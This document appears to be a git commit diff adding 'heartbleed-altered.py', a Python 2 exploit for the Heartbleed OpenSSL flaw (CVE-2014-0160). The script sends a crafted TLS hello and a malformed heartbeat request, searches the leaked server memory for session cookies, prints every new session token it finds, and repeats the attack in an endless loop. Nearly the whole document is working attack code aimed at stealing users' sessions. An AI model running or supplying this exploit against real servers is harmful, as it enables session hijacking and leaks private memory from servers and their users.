cmartinbaughman · April 15, 2014 01:01 · Apr 8, 2014
diff --git a/heartbleed-altered.py b/heartbleed-altered.py
@@ -0,0 +1,190 @@
+#!/usr/bin/python
+
+# Connects to servers vulnerable to CVE-2014-0160 and looks for cookies, specifically user sessions.
+# Michael Davis ([email protected])
+
+# Based almost entirely on the quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
+
+# The author disclaims copyright to this source code.
+
+import select
+import sys
+import string
+import struct
+import socket
+import time
+from optparse import OptionParser
+
+options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
+options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
+options.add_option('-c', '--cookie', type='str', default='session', help='Cookie to look for. (default: session)')
+
+
+def h2bin(x):
+    return x.replace(' ', '').replace('\n', '').decode('hex')
+
+hello = h2bin('''
+16 03 02 00  dc 01 00 00 d8 03 02 53
+43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
+bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
+00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
+00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
+c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
+c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
+c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
+c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
+00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
+03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
+00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
+00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
+00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
+00 0f 00 01 01
+''')
+
+hb = h2bin('''
+18 03 02 00 03
+01 40 00
+''')
+
+
+class HeartBleeder(object):
+
+    server_response = None
+    socket = None
+    hostname = ''
+    port = 443
+    found_sessions = set()
+    cookie = 'session'
+    cookie_length = 56
+
+    def __init__(self, hostname='', cookie=''):
+        self.hostname = hostname
+        self.cookie = cookie
+
+    def connect(self):
+        """
+        Connects to the remote server.
+        """
+        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        sys.stdout.flush()
+        self.socket.connect((self.hostname, self.port))
+        sys.stdout.flush()
+        self.socket.send(hello)
+        sys.stdout.flush()
+
+    def rcv_response(self):
+        while True:
+            _type, version, payload = self.rcv_message()
+            if _type is None:
+                print 'Server closed connection without sending Server Hello.'
+                return
+            # Look for server hello done message.
+            if _type == 22 and ord(payload[0]) == 0x0E:
+                break
+
+    def rcv_message(self):
+
+        record_header = self.rcv_all(5)
+        if record_header is None:
+            print 'Unexpected EOF receiving record header - server closed connection'
+            return None, None, None
+        _type, version, line = struct.unpack('>BHH', record_header)
+        payload = self.rcv_all(line, 10)
+        if payload is None:
+            print 'Unexpected EOF receiving record payload - server closed connection'
+            return None, None, None
+        # print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
+        return _type, version, payload
+
+    def rcv_all(self, length, timeout=5):
+        endtime = time.time() + timeout
+        rdata = ''
+        remain = length
+        while remain > 0:
+            rtime = endtime - time.time()
+            if rtime < 0:
+                return None
+            r, w, e = select.select([self.socket], [], [], 5)
+            if self.socket in r:
+                data = self.socket.recv(remain)
+                # EOF?
+                if not data:
+                    return None
+                rdata += data
+                remain -= len(data)
+        return rdata
+
+    def try_heartbeat(self):
+        self.socket.send(hb)
+        while True:
+            _type, version, self.payload = self.rcv_message()
+            if _type is None:
+                print 'No heartbeat response received, server likely not vulnerable'
+                return False
+
+            if _type == 24:
+                # print 'Received heartbeat response:'
+                self.parse_response()
+                if len(self.payload) > 3:
+                    pass
+                    # print 'WARNING: server returned more data than it should - server is vulnerable!'
+                else:
+                    print 'Server processed malformed heartbeat, but did not return any extra data.'
+                return True
+
+            if _type == 21:
+                print 'Received alert:'
+                self.hexdump(self.payload)
+                print 'Server returned error, likely not vulnerable'
+                return False
+
+    def parse_response(self):
+        """
+        Parses the response from the server for a session id.
+        """
+        ascii = ''.join((c if 32 <= ord(c) <= 126 else ' ')for c in self.payload)
+        index = string.find(ascii, self.cookie)
+        if index >= 0:
+            info = ascii[index:index + self.cookie_length]
+            session = info.split(' ')[0]
+            session = string.replace(session, ';', '')
+            if session not in self.found_sessions:
+                self.found_sessions.add(session)
+                print session
+
+    def hexdump(self, payload):
+        """
+        Prints out a hexdump in the event that server returns an error.
+        """
+        for b in xrange(0, len(payload), 16):
+            line = [c for c in payload[b:b + 16]]
+            hxdat = ' '.join('%02X' % ord(c) for c in line)
+            pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in line)
+            print '  %04x: %-48s %s' % (b, hxdat, pdat)
+        print
+
+    def scan(self):
+        self.connect()
+        self.rcv_response()
+        self.try_heartbeat()
+
+
+def main():
+    opts, args = options.parse_args()
+    if len(args) < 1:
+        options.print_help()
+        return
+
+    cookies_str = 'session'
+    if len(args) > 1:
+        cookies_str = args[1]
+
+    print cookies_str
+
+    while True:
+        heartbeat = HeartBleeder(hostname=args[0], cookie=cookies_str)
+        heartbeat.scan()
+
+
+if __name__ == '__main__':
+    main()